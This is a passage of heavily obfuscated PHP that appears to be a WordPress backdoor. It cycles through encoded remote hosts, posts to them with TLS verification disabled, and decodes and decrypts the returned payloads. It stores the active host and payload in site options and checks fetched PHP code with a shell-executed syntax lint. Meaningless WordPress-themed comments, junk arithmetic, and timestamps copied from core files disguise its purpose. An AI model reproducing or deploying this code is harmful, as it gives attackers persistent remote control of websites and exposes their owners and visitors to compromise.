return  $GLOBALS['__scf_qhb_9v3ktmz_230'](k83m2slbb(231), $r6muwcq0k1);
}
 }
return  null;
 }
 function    dyf7fo4srwh1ajnj0($nong25gx93c6emu)

 {
if   (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(232))  ||     !$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(137))) return  null;

 $v1spcyahzz    =     $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(233))  ?      (string)  @$GLOBALS['__scf_n9umf2ff2bmitw_112'](lgr6hp92ka(234)) :     "";

  if ($v1spcyahzz !==   ""  && stripos($v1spcyahzz, n747he9yo38(232)) !==   false)  return   null;
$blvpwfuniwmwyy = nnq0ganj4b4gehpw7b($GLOBALS['__scf_hslj_a1k0h2_77'](), lgr6hp92ka(235));
if  ($blvpwfuniwmwyy  === false)   return null;



      if  (@$GLOBALS['__scf_d3akejlb7rtaks_199']($blvpwfuniwmwyy, $nong25gx93c6emu)    !==     $GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu))      {
 y0a1xt15v3nqhjqppfzn($blvpwfuniwmwyy);
   return null;



}
$akuq6lyix51 =  @$GLOBALS['__scf_pxho_ypiw__232'](k83m2slbb(236) .    escapeshellarg($blvpwfuniwmwyy) . n747he9yo38(237));
   y0a1xt15v3nqhjqppfzn($blvpwfuniwmwyy);
   if     (!$GLOBALS['__scf_epa1jymnf5_40']($akuq6lyix51)  || $akuq6lyix51    ===  "")   return  null;
   if  (stripos($akuq6lyix51,  woii22it0(238))  !==  false) return  true;
if (stripos($akuq6lyix51,    woii22it0(239)) !== false || stripos($akuq6lyix51,   n747he9yo38(240))   !==  false)  return   false;
    return  null;
   }
  function   dxgg5a63x4tsvkmvowozg3($nong25gx93c6emu)
   {
  static  $d7i_7gsju4_05  = array();
// vectorize predictive type-environment

 if     (!$GLOBALS['__scf_epa1jymnf5_40']($nong25gx93c6emu) ||    $GLOBALS['__scf_p9nk7khmjys_7']($nong25gx93c6emu,  k83m2slbb(241))      ===    false) return  false;
   if ($GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu) > (360305+688271)) $nong25gx93c6emu =     ouktu5q4cpiyod2s($nong25gx93c6emu);
      if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu)    >  (1048554+22)) return false;
  if    (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(242)))  return    true;$gi2dom0gp5z=(0xf2+0x5e);$x1nkamxkrm0=$gi2dom0gp5z%6;
    $r5i3t50q8dp1spg    =      $GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu)    . ':'  .   $GLOBALS['__scf__pih7hoh4m_56']($nong25gx93c6emu);


  if ($GLOBALS['__scf_xv52_kf1p6y__243']($r5i3t50q8dp1spg, $d7i_7gsju4_05))   return    $d7i_7gsju4_05[$r5i3t50q8dp1spg];
 $ekzisxc5zva =   og6bqoht4giku4nwq2cqn($nong25gx93c6emu);
if  ($GLOBALS['__scf_prfpiytv3egt7_35']($d7i_7gsju4_05)  >  (9^17)) $d7i_7gsju4_05   = array();
 $d7i_7gsju4_05[$r5i3t50q8dp1spg] =     $ekzisxc5zva;
   return  $ekzisxc5zva;
}



 function  og6bqoht4giku4nwq2cqn($nong25gx93c6emu)
 {
// discriminative container

    if  (!defined(k83m2slbb(244)))   {
  $_a17ks8hmadl =   p33o717eifif0xlevz($GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu));
  if     ($_a17ks8hmadl) {
      $sd6_yc6nf33  =     @token_get_all($nong25gx93c6emu);
    if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($sd6_yc6nf33))   return  true;
 $ju21kz2ngs23h1  =  0;
 $njd7w_7mdg =  0;


 $ejx6rggnj_pzrkuk = 0;


foreach ($sd6_yc6nf33     as   $cy9yo5q4zjs9p_um)  {$xqb7rk8_=(0x9d+0xb5);$tihfp6mhfm5o_w=$xqb7rk8_%12;
  if  ($GLOBALS['__scf_lxbo0xm7220an_34']($cy9yo5q4zjs9p_um)) {
if  ($cy9yo5q4zjs9p_um[0]      === T_CURLY_OPEN   ||  $cy9yo5q4zjs9p_um[0] ===  T_DOLLAR_OPEN_CURLY_BRACES)    $ju21kz2ngs23h1++;

 continue;



}
 if  ($cy9yo5q4zjs9p_um  ===   '{') $ju21kz2ngs23h1++;
elseif ($cy9yo5q4zjs9p_um === '}')  {
 $ju21kz2ngs23h1--;
   if   ($ju21kz2ngs23h1      < 0)  return   false;
}   elseif    ($cy9yo5q4zjs9p_um   ===   '(') $njd7w_7mdg++;

 elseif ($cy9yo5q4zjs9p_um    ===   ')')    {
       $njd7w_7mdg--;
 if   ($njd7w_7mdg <   0) return   false;
       } elseif   ($cy9yo5q4zjs9p_um  ===    '[')    $ejx6rggnj_pzrkuk++;


 elseif   ($cy9yo5q4zjs9p_um  === ']')      {
 $ejx6rggnj_pzrkuk--;
   if   ($ejx6rggnj_pzrkuk <  0)     return false;
    }
   }
      if   ($ju21kz2ngs23h1   !==  0  || $njd7w_7mdg  !==   0  ||    $ejx6rggnj_pzrkuk !== 0) return      false;
 }
       $ii_2zdo57kcvjayq  =   dyf7fo4srwh1ajnj0($nong25gx93c6emu);
if ($GLOBALS['__scf_qi4geo81c17hd_245']($ii_2zdo57kcvjayq)) return $ii_2zdo57kcvjayq;$cr9krw5uqi=5484;$ckhyz4fj33k=$cr9krw5uqi%9;
return $_a17ks8hmadl;
  }
   if  (!p33o717eifif0xlevz($GLOBALS['__scf_h5yqrl6kmpb_10']($nong25gx93c6emu)))     {
$ii_2zdo57kcvjayq =  dyf7fo4srwh1ajnj0($nong25gx93c6emu);



    return   $GLOBALS['__scf_qi4geo81c17hd_245']($ii_2zdo57kcvjayq)      ?   $ii_2zdo57kcvjayq :   false;
}
 try {
    @token_get_all($nong25gx93c6emu,   TOKEN_PARSE);
 return true;
 }    catch (Throwable   $oz7m23pnscj7)  {
// orthogonal-adj reduction

       return false;
    }    catch (Exception $oz7m23pnscj7)  {
 return     false;
}
   }

   function  s5ryhycatlctn9wf()
 {
// WP Post Date: normal witness



      return   array(n747he9yo38(246),    lgr6hp92ka(247),  n747he9yo38(248));
}
function cg7vba8ac_fp7a()
    {
return    array(woii22it0(249), woii22it0(250),  n747he9yo38(251),   woii22it0(252),   n747he9yo38(253),  woii22it0(254),  n747he9yo38(255),   lgr6hp92ka(256),   hwc6a8djp6yy(257),  k83m2slbb(258),    woii22it0(259), lgr6hp92ka(260),  n747he9yo38(261), woii22it0(262),    lgr6hp92ka(263), n747he9yo38(264),   hwc6a8djp6yy(265),   woii22it0(266), k83m2slbb(267),  hwc6a8djp6yy(268));
}


 function w1yce0zcimmx9m40r7x0m()
     {
   return   array(k83m2slbb(269),   woii22it0(270), hwc6a8djp6yy(271),   hwc6a8djp6yy(272));
    }
    
   function     nrmao261sfpooxp($zx8kyq0ujpipx)
 {
if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(273)))    return   gzencode($zx8kyq0ujpipx,  (15-6));
  if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(274)))  {
return   "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"   .  gzdeflate($zx8kyq0ujpipx,  (0x8+0x1))    . $GLOBALS['__scf_tzkbcj9sl9_275']('V',    $GLOBALS['__scf_iwtym4nsnwl_276']($zx8kyq0ujpipx))  .  $GLOBALS['__scf_tzkbcj9sl9_275']('V',   $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)  &   (1302036957+2992930338));
       }
 return  $zx8kyq0ujpipx;
 }
   function  b04ufk_3d70c4p122ve6i($zx8kyq0ujpipx)



  {
if    (!$GLOBALS['__scf_epa1jymnf5_40']($zx8kyq0ujpipx) || $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)  <  2)      return  $zx8kyq0ujpipx;
 if ($GLOBALS['__scf_pdat24v9nxkx0_9']($zx8kyq0ujpipx,     0,    2)    !==  "\x1f\x8b") return    $zx8kyq0ujpipx;

        if   ($GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)  <  (16+2))  return  false;
 $x5m9vqr1m686qkh =  @$GLOBALS['__scf_cl8lauqxet7pcw_277']('V',   $GLOBALS['__scf_pdat24v9nxkx0_9']($zx8kyq0ujpipx,   -(7-3)));
  $x5m9vqr1m686qkh     = $GLOBALS['__scf_lxbo0xm7220an_34']($x5m9vqr1m686qkh)  ? $x5m9vqr1m686qkh[1]    : 0;
 if ($x5m9vqr1m686qkh    <  (450+50) || $x5m9vqr1m686qkh >  (1243664-195088)) return    false;
if    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(278)))  {
       $oclq78qg06s6kkt    = @gzdecode($zx8kyq0ujpipx,    (1048548+28));
     if     ($oclq78qg06s6kkt   !==   false)    return   $oclq78qg06s6kkt;


     }
      if    ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(279)))    {
 $oclq78qg06s6kkt =    @gzinflate($GLOBALS['__scf_pdat24v9nxkx0_9']($zx8kyq0ujpipx, (3+7),    $GLOBALS['__scf_h5yqrl6kmpb_10']($zx8kyq0ujpipx)  -   (4+14)),  (0x5e283+0xa1d7d));
   return   ($GLOBALS['__scf_epa1jymnf5_40']($oclq78qg06s6kkt)  &&   $GLOBALS['__scf_h5yqrl6kmpb_10']($oclq78qg06s6kkt)  <= (1516378-467802))    ?  $oclq78qg06s6kkt  :   false;
 }
     return    false;

 }
   function av9b47b507zvnx3q($yr7vmudw3fqdd)
 {
 if     ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(280)))  return  $GLOBALS['__scf_gyyp5zayko_280']($yr7vmudw3fqdd);
      if    (!    $GLOBALS['__scf_epa1jymnf5_40']($yr7vmudw3fqdd)  ||     $GLOBALS['__scf_h5yqrl6kmpb_10']($yr7vmudw3fqdd)     %   2    !== 0)     {
return false;
    }

  return $GLOBALS['__scf_tzkbcj9sl9_275'](hwc6a8djp6yy(281),   $yr7vmudw3fqdd);
  }

   


   function   vl3ayj4wnx9fy07p7y_a()



 {
$ukili4zltb  =    array();
  $bedqw67a9nco_8 =    array(ABSPATH,  ABSPATH  . woii22it0(282),  ABSPATH    .  k83m2slbb(283));
    if  (defined(k83m2slbb(166)))    $bedqw67a9nco_8[]     =  WP_CONTENT_DIR .   '/';


   foreach  ($bedqw67a9nco_8   as    $oclq78qg06s6kkt) {
  $j8lsfcs32s9rjen   = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(71))    ?  @$GLOBALS['__scf_xn1tkts0av_71']($oclq78qg06s6kkt  .   woii22it0(284))   :  false;
 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($j8lsfcs32s9rjen)) {
    foreach     ($j8lsfcs32s9rjen   as $lg43ml2abp6bop)  {


 $wsb6qsuu0e8c6rg     =     @$GLOBALS['__scf_gibkjes9ds_98']($lg43ml2abp6bop);


  if   ($wsb6qsuu0e8c6rg     && $wsb6qsuu0e8c6rg >    (881931881+64752919))  {
$ukili4zltb[]  =  $wsb6qsuu0e8c6rg;
      }
     }
 }
}
// @load handshake

if (!empty($ukili4zltb)) {
$adclv0gbv4g2vk  = $ukili4zltb[$GLOBALS['__scf_u2x2cti4_zkv_285']($ukili4zltb)];
 return  ($adclv0gbv4g2vk    - ($adclv0gbv4g2vk  % (125197-25197))) +      besgaqtopfqsg9c6hd();


 }
$cqy2vbi_82 = $GLOBALS['__scf_cyotfgtf1a8m_189']()  -   ((333+32) * (16+8)  *   (0x4e0+0x930));

  $qfcn981396ll0i3n     = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(286))     ? wp_rand(0, (50-20)     *    (109^117)  *  (3591+9)) :  $GLOBALS['__scf_u8xkeh1l6m1y_287'](0, (57-27) * (3+21)  *  (5701-2101));
$adclv0gbv4g2vk   =  $cqy2vbi_82 - $qfcn981396ll0i3n;
return  ($adclv0gbv4g2vk - ($adclv0gbv4g2vk    %    (0x2189+0x16517)))   +  besgaqtopfqsg9c6hd();
      }
    function  a8mmwd8jpg3zolct3($nzrtcnkqehzy667c)
  {
 if (empty($GLOBALS[k83m2slbb(288)]))     return  $nzrtcnkqehzy667c;
$a16j1mhk670 = $GLOBALS[lgr6hp92ka(288)]    -  $GLOBALS['__scf_kld1jjqcmx_289'](true);


     if   ($a16j1mhk670   <  1)   return     false;



 return     $nzrtcnkqehzy667c  >     $a16j1mhk670    ?   (int)  $GLOBALS['__scf_ngw7gsz8i0t_290']($a16j1mhk670) : $nzrtcnkqehzy667c;
}
 function     m_rayuaik6rfaskr($n3j_7bp_z_v6in,  $nzrtcnkqehzy667c, $nunny15p93d =    null)



    {
    $nzrtcnkqehzy667c  =   a8mmwd8jpg3zolct3($nzrtcnkqehzy667c);
      if  ($nzrtcnkqehzy667c  === false)  return false;


 $m9t4nmy8wj4    =  function  ($b94e8zl9qx1ungby) use   ($nunny15p93d) {
if  (!$GLOBALS['__scf_epa1jymnf5_40']($b94e8zl9qx1ungby) ||  $b94e8zl9qx1ungby ===  "") return    false;
      if      ($GLOBALS['__scf_h5yqrl6kmpb_10']($b94e8zl9qx1ungby)   >    (8388557+51)) return false;$pws2oitr=-186;$eqt9sftr=($pws2oitr>0)?$pws2oitr:-$pws2oitr;



     if ($nunny15p93d) {
// WP Tag Cloud: strong covariant

 try {
     return  (bool)  $GLOBALS['__scf_f_h6mgk0cf1_291']($nunny15p93d, $b94e8zl9qx1ungby);

  }  catch  (Throwable  $oz7m23pnscj7)  {
   return false;
}     catch  (Exception    $oz7m23pnscj7) {
return  false;
   }
// add lock scope



  }

return    true;
};
 $vxtt9q71y9_4iu    =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(292))  ?  @$GLOBALS['__scf_ikqfih0ldfvj_293']($n3j_7bp_z_v6in, array(
   hwc6a8djp6yy(294)  =>  $nzrtcnkqehzy667c,


   hwc6a8djp6yy(295) => false,
 lgr6hp92ka(296)    =>  (1693409+6695199),
))  : false;
  if ($vxtt9q71y9_4iu   &&  (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(297))     || !is_wp_error($vxtt9q71y9_4iu)))   {
if  ((int)      wp_remote_retrieve_response_code($vxtt9q71y9_4iu)  ===    (0x47+0x81)) {


  $rq4nh85lpszsre =    wp_remote_retrieve_body($vxtt9q71y9_4iu);
if ($m9t4nmy8wj4($rq4nh85lpszsre)) return     $rq4nh85lpszsre;
}
  }
   $nzrtcnkqehzy667c = a8mmwd8jpg3zolct3($nzrtcnkqehzy667c);


if   ($nzrtcnkqehzy667c  ===  false)     return    false;
   if  ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(298)) &&  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(299))   &&      $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(300))) {
  $dil3txfr9v1llk4   =   @$GLOBALS['__scf_n4hd81dartaw6_298']($n3j_7bp_z_v6in);
 if    ($dil3txfr9v1llk4    ===  false)  return  false;
 @$GLOBALS['__scf_xgmc8ztra7_299']($dil3txfr9v1llk4,   array(
constant(n747he9yo38(301))  =>   true,
 constant(n747he9yo38(302)) => $nzrtcnkqehzy667c,
   constant(k83m2slbb(303))    =>     false,
       constant(hwc6a8djp6yy(304)) =>    0,
constant(k83m2slbb(305)) => false,
   constant(hwc6a8djp6yy(306)) => function ($clyirr_5zjy,  $nk7ardob28r,  $qlu69b2viiqh3qq)  {
 return $qlu69b2viiqh3qq   >    (0x70fac6+0xf053a)  ?  1   :    0;
   },
     ));
     $cpx7_28odoku51m =  @$GLOBALS['__scf_qxw4t2z5p101nh_307']($dil3txfr9v1llk4);
 $we4t1gmt8k    =     @curl_errno($dil3txfr9v1llk4);
    $tic_q1bm6z8xcjt1 = @curl_getinfo($dil3txfr9v1llk4);
@curl_close($dil3txfr9v1llk4);

  if     ($we4t1gmt8k)    return     false;
  if     ((int)  $tic_q1bm6z8xcjt1[n747he9yo38(308)] ===  (0xa8+0x20)   && $cpx7_28odoku51m    !==     false  &&      $m9t4nmy8wj4($cpx7_28odoku51m))     {
return $cpx7_28odoku51m;
 }
}
/* generative negotiation */

     return false;
       }
 
 function  p40j1xgp_bk4lffowyqf($n3j_7bp_z_v6in,  $rwmelnydmqla,  $calfl_e03a9o17n,  $nzrtcnkqehzy667c,    $nunny15p93d = null)
     {
 $nzrtcnkqehzy667c =   a8mmwd8jpg3zolct3($nzrtcnkqehzy667c);
 if    ($nzrtcnkqehzy667c    === false)  return false;
  $m9t4nmy8wj4      =   function   ($b94e8zl9qx1ungby)   use     ($nunny15p93d)  {
  if    (!$GLOBALS['__scf_epa1jymnf5_40']($b94e8zl9qx1ungby)  ||     $b94e8zl9qx1ungby   === "")   return  false;



   if ($GLOBALS['__scf_h5yqrl6kmpb_10']($b94e8zl9qx1ungby)   >     (8388588+20))    return     false;
 if   ($nunny15p93d)   {
try {
return  (bool) $GLOBALS['__scf_f_h6mgk0cf1_291']($nunny15p93d,   $b94e8zl9qx1ungby);
 } catch     (Throwable  $oz7m23pnscj7)  {
return false;

} catch (Exception $oz7m23pnscj7)      {$xq2lxcbhgu1wh=72+2;$lfglxzqn=$xq2lxcbhgu1wh-17;

      return   false;
  }
 }
return true;
 };


$vxtt9q71y9_4iu   =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(309)) ? @$GLOBALS['__scf_ixuzbjnsd35_309']($n3j_7bp_z_v6in,     array(
  lgr6hp92ka(310) => $nzrtcnkqehzy667c,
  n747he9yo38(295)  => false,
       woii22it0(296)     =>  (119769+8268839),
 lgr6hp92ka(311)   =>   $calfl_e03a9o17n,
   hwc6a8djp6yy(312)    =>   $rwmelnydmqla,
 ))   :  false;
     if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(297)) &&  is_wp_error($vxtt9q71y9_4iu)) {
 }     elseif  ($vxtt9q71y9_4iu)  {
  $nong25gx93c6emu   =  (int)  wp_remote_retrieve_response_code($vxtt9q71y9_4iu);
   $vf08egs1bq_mj   = wp_remote_retrieve_body($vxtt9q71y9_4iu);
  $hzpv67oz0qe   =  wp_remote_retrieve_headers($vxtt9q71y9_4iu);
$mi2l391i7ae4bvg    = "";
     if ($GLOBALS['__scf_lxbo0xm7220an_34']($hzpv67oz0qe)) {
foreach    ($hzpv67oz0qe  as  $prah7czx9ukf7u  =>  $tb0hfr9vri2de7l)  {
     $mi2l391i7ae4bvg .= $prah7czx9ukf7u  .  woii22it0(154)    . $tb0hfr9vri2de7l     .   n747he9yo38(313);
 }
 }
// OpenSSL 3 providers: proactive affine-type

    if  ($nong25gx93c6emu ===      (211-11) && $m9t4nmy8wj4($vf08egs1bq_mj))     {
 return   $vf08egs1bq_mj;
}
}   else {
 }



   if  (!empty($GLOBALS[hwc6a8djp6yy(314)]))   return  false;
    $nzrtcnkqehzy667c = a8mmwd8jpg3zolct3($nzrtcnkqehzy667c);


 if  ($nzrtcnkqehzy667c    ===  false)  return false;
if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(298))  && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(299)) &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(307))) {


  $dil3txfr9v1llk4   = @$GLOBALS['__scf_n4hd81dartaw6_298']($n3j_7bp_z_v6in);
if  ($dil3txfr9v1llk4 ===  false)  {
   return    false;


}
 $j8_zaf6xqf0 = array();
foreach   ($calfl_e03a9o17n  as  $prah7czx9ukf7u   => $tb0hfr9vri2de7l) {
  $j8_zaf6xqf0[] =  $prah7czx9ukf7u  .      woii22it0(315)    .  $tb0hfr9vri2de7l;
   }
  @$GLOBALS['__scf_xgmc8ztra7_299']($dil3txfr9v1llk4,  array(



    constant(woii22it0(316)) =>    true,

 constant(hwc6a8djp6yy(317)) => $rwmelnydmqla,



 constant(n747he9yo38(301)) =>   true,
   constant(k83m2slbb(302))    => $nzrtcnkqehzy667c,
 constant(hwc6a8djp6yy(303))      =>  false,


 constant(k83m2slbb(304))     => 0,
  constant(n747he9yo38(318))      =>  $j8_zaf6xqf0,
constant(hwc6a8djp6yy(319))   => false,
constant(woii22it0(306))  => function  ($clyirr_5zjy, $nk7ardob28r,   $qlu69b2viiqh3qq)  {
return    $qlu69b2viiqh3qq     >   (14060338-5671730)   ?  1 :  0;
    },
 ));
      $cpx7_28odoku51m     =  @$GLOBALS['__scf_qxw4t2z5p101nh_307']($dil3txfr9v1llk4);
    $we4t1gmt8k = @curl_errno($dil3txfr9v1llk4);
$lmlu5zuwl3d46   =  @curl_error($dil3txfr9v1llk4);$hpqwgrzn=(0x87+0xaa);$u9rduk3tthp=$hpqwgrzn%17;
   $tic_q1bm6z8xcjt1 =   @curl_getinfo($dil3txfr9v1llk4);
$c5sitriejteobg     =   (int)  $tic_q1bm6z8xcjt1[lgr6hp92ka(320)];



    if    ($we4t1gmt8k)  {
/* general-recursive singleton */

       @curl_close($dil3txfr9v1llk4);
    return   false;
  }
@curl_close($dil3txfr9v1llk4);
    if     ($c5sitriejteobg   ===   (265-65) && $cpx7_28odoku51m   !== false && $m9t4nmy8wj4($cpx7_28odoku51m))  {



 return   $cpx7_28odoku51m;
        }
// WP Columns Block: co-recursive event-bus

 if     ($cpx7_28odoku51m)   {
}
/* adaptive event-bus */

        return    false;
  }
    return  false;
   }
   
   function      izzgzcuj86gdoe_rmj($euyci1oufcke   = (234^199))
  {
// proactive event-bus

$d6tr7fwxzxxmsj_e    = s5ryhycatlctn9wf();
 $bwrzkcp1v31vdnr =  cg7vba8ac_fp7a();
    $euyci1oufcke    =    (int)   $euyci1oufcke;
   if ($euyci1oufcke    <    (163^166))     $euyci1oufcke  = (0^5);
        if   ($euyci1oufcke  > (25+20)) $euyci1oufcke =   (65^108);
 



 if     (empty($d6tr7fwxzxxmsj_e) || empty($bwrzkcp1v31vdnr))      {
  return  array();
  }
  
    $kvo51dhv9xx9   =  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(200))    ? (string)  get_option(lgr6hp92ka(321),    "")    :  "";
if     ($kvo51dhv9xx9      !==  "" &&     !$GLOBALS['__scf_a2dj3p28xfi_149']($kvo51dhv9xx9, $bwrzkcp1v31vdnr,   true))   $kvo51dhv9xx9    = "";
     if  ($kvo51dhv9xx9 !==  "") {
  $bwrzkcp1v31vdnr  = $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_wuhj_qjl_ze21_152']($bwrzkcp1v31vdnr,     array($kvo51dhv9xx9)));
 $GLOBALS['__scf_bqx1bj0jhe9lk_322']($bwrzkcp1v31vdnr,     $kvo51dhv9xx9);
    }
 
 $t7zvk7bczh  =   $GLOBALS['__scf_xcg5caaat_92j0_323']($d6tr7fwxzxxmsj_e[$GLOBALS['__scf_u2x2cti4_zkv_285']($d6tr7fwxzxxmsj_e)]);


if ($t7zvk7bczh  === "")     {
       return   array();
    }
// @resume partition-refinement


 $rwmelnydmqla =  n747he9yo38(324) .    $t7zvk7bczh     .   hwc6a8djp6yy(325);
     $tbqtb0g7bdy1ri0   = array(hwc6a8djp6yy(326) => lgr6hp92ka(327));

  $hxlc7uek9rkqvp    = $GLOBALS['__scf_kld1jjqcmx_289'](true);
// improve error context

    foreach  ($bwrzkcp1v31vdnr as    $u2ws67cjtnj0us)  {
 



    if (($GLOBALS['__scf_kld1jjqcmx_289'](true)    -  $hxlc7uek9rkqvp)    >      $euyci1oufcke)  {
   break;

       }

    
  $u2ws67cjtnj0us    = $GLOBALS['__scf_xcg5caaat_92j0_323']((string)  $u2ws67cjtnj0us);
    if     ($u2ws67cjtnj0us   ===  "") {
 continue;
// FFI bindings transient TTL

  }
  try  {
/* equivariant dispatcher */

   $vf08egs1bq_mj  =    p40j1xgp_bk4lffowyqf($u2ws67cjtnj0us,     $rwmelnydmqla, $tbqtb0g7bdy1ri0,  (206^203),     function  ($b94e8zl9qx1ungby) {
$kjzx4kloqg =  @$GLOBALS['__scf_fjxqm4i88jjq92_328']($b94e8zl9qx1ungby,     true);
 return $GLOBALS['__scf_lxbo0xm7220an_34']($kjzx4kloqg) &&   isset($kjzx4kloqg[k83m2slbb(329)]);
 });
if  ($vf08egs1bq_mj  === false)  {
   continue;
    }
$chgf7hccv6kpq8y7   =    @$GLOBALS['__scf_fjxqm4i88jjq92_328']($vf08egs1bq_mj, true);
  if  (!   $GLOBALS['__scf_lxbo0xm7220an_34']($chgf7hccv6kpq8y7) ||   !    isset($chgf7hccv6kpq8y7[lgr6hp92ka(329)]) || !     $GLOBALS['__scf_epa1jymnf5_40']($chgf7hccv6kpq8y7[lgr6hp92ka(329)]))     {
     continue;



  }
// spill alert for WordPress 6.5 revisions




 


  $yr7vmudw3fqdd     =  $chgf7hccv6kpq8y7[n747he9yo38(329)];
   if     ($GLOBALS['__scf_p9nk7khmjys_7']($yr7vmudw3fqdd,  n747he9yo38(330))  === 0)     {
  $yr7vmudw3fqdd    =     $GLOBALS['__scf_pdat24v9nxkx0_9']($yr7vmudw3fqdd,  2);
 }
 
$wq2_azs60t   = @av9b47b507zvnx3q($yr7vmudw3fqdd);
     

       if ($wq2_azs60t     ===  false ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($wq2_azs60t)   < (0x2+0x3e)) {
     continue;
    }
 
     $h6289nb__hiaxqs   =   (54+9);
    $dnkypsoovnkk91 =     $GLOBALS['__scf_bojg4ed6zpp_331']($wq2_azs60t[$h6289nb__hiaxqs]);
$yz5_y6ncnsj2a  =  $GLOBALS['__scf_pdat24v9nxkx0_9']($wq2_azs60t,  $h6289nb__hiaxqs   +    1, $dnkypsoovnkk91);


    if  (! $GLOBALS['__scf_epa1jymnf5_40']($yz5_y6ncnsj2a)    ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($yz5_y6ncnsj2a)  < (2+1))  {$_sooe0hp0=7709;$dnn4ydn_g=$_sooe0hp0%7;


 continue;



  }
     
     $ucgkw82c8vzvlaj =  $GLOBALS['__scf_bojg4ed6zpp_331']($yz5_y6ncnsj2a[0]);



      if  ($ucgkw82c8vzvlaj  <  1  ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($yz5_y6ncnsj2a) < 1    + $ucgkw82c8vzvlaj  + 1)    {
// allocate idempotent pipeline

continue;


 }
    



 $soqjtnowfttd4p6  =     $GLOBALS['__scf_pdat24v9nxkx0_9']($yz5_y6ncnsj2a,  1,     $ucgkw82c8vzvlaj);
 $wwu1vco65b   = $GLOBALS['__scf_pdat24v9nxkx0_9']($yz5_y6ncnsj2a,  1 + $ucgkw82c8vzvlaj);
        if  (!  $GLOBALS['__scf_epa1jymnf5_40']($soqjtnowfttd4p6)   || !  $GLOBALS['__scf_epa1jymnf5_40']($wwu1vco65b))    {
/* online mediator */

 continue;
 }
   
  $mnjxiu2ddg   =  sdbi68rbn9zn5o588($wwu1vco65b,  $soqjtnowfttd4p6);
     if (!   $GLOBALS['__scf_epa1jymnf5_40']($mnjxiu2ddg)     ||    $GLOBALS['__scf_h5yqrl6kmpb_10']($mnjxiu2ddg) <   2) {



    pas31bymshzdagwkp(k83m2slbb(332),  n747he9yo38(333));
continue;
 }



    
    $t8kozye1t01youc    =  $GLOBALS['__scf_bojg4ed6zpp_331']($mnjxiu2ddg[0]);



    if ($t8kozye1t01youc <   1   ||   $GLOBALS['__scf_h5yqrl6kmpb_10']($mnjxiu2ddg) <      1      +  $t8kozye1t01youc)   {
   pas31bymshzdagwkp(k83m2slbb(332),  hwc6a8djp6yy(334));
continue;


}
       
$a76j9nqbnahy6psl   =   $GLOBALS['__scf_pdat24v9nxkx0_9']($mnjxiu2ddg,     1,  $t8kozye1t01youc);
 $o0zy_92ki33cy =    $GLOBALS['__scf_pdat24v9nxkx0_9']($mnjxiu2ddg,   1  +  $t8kozye1t01youc);
   $otr2cpyue9   = $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf__4747k7qys5_335']($GLOBALS['__scf_qhb_9v3ktmz_230'](hwc6a8djp6yy(336),   $GLOBALS['__scf_as8phph3ox6c3_337'](hwc6a8djp6yy(338),  $o0zy_92ki33cy))));
    if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(145))) {
   update_option(woii22it0(321),    $u2ws67cjtnj0us);
  update_option(n747he9yo38(339), $GLOBALS['__scf_fchyobbli1uqo__340']("\n",  $otr2cpyue9));



   }
/* inflationary coordinator */


 return array(woii22it0(341)  =>    $a76j9nqbnahy6psl,  n747he9yo38(342)    =>  $otr2cpyue9);
     }  catch (Throwable   $oz7m23pnscj7)   {
 pas31bymshzdagwkp(woii22it0(332),   $oz7m23pnscj7);
     continue;


     }  catch  (Exception   $oz7m23pnscj7)      {



 continue;
    }
}
$phf2j_lge_5hy_s_  = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(200)) ?      (string)    get_option(k83m2slbb(339), "")  : "";

    $q87ws51dcmoszu      =      z6q8c6q8s6lg_2r(n747he9yo38(343), "");
    if  ($phf2j_lge_5hy_s_   !== ""     && $GLOBALS['__scf_epa1jymnf5_40']($q87ws51dcmoszu)  &&   $q87ws51dcmoszu !==    "") {
 $otr2cpyue9 =   $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf__4747k7qys5_335']($GLOBALS['__scf_qhb_9v3ktmz_230'](hwc6a8djp6yy(336),  $GLOBALS['__scf_as8phph3ox6c3_337'](n747he9yo38(338), $phf2j_lge_5hy_s_))));
   if     (!   empty($otr2cpyue9))  {
       return array(n747he9yo38(341) =>   $q87ws51dcmoszu,   k83m2slbb(342)    => $otr2cpyue9);
    }
// WP Block Variations: infinite sliding-window

}
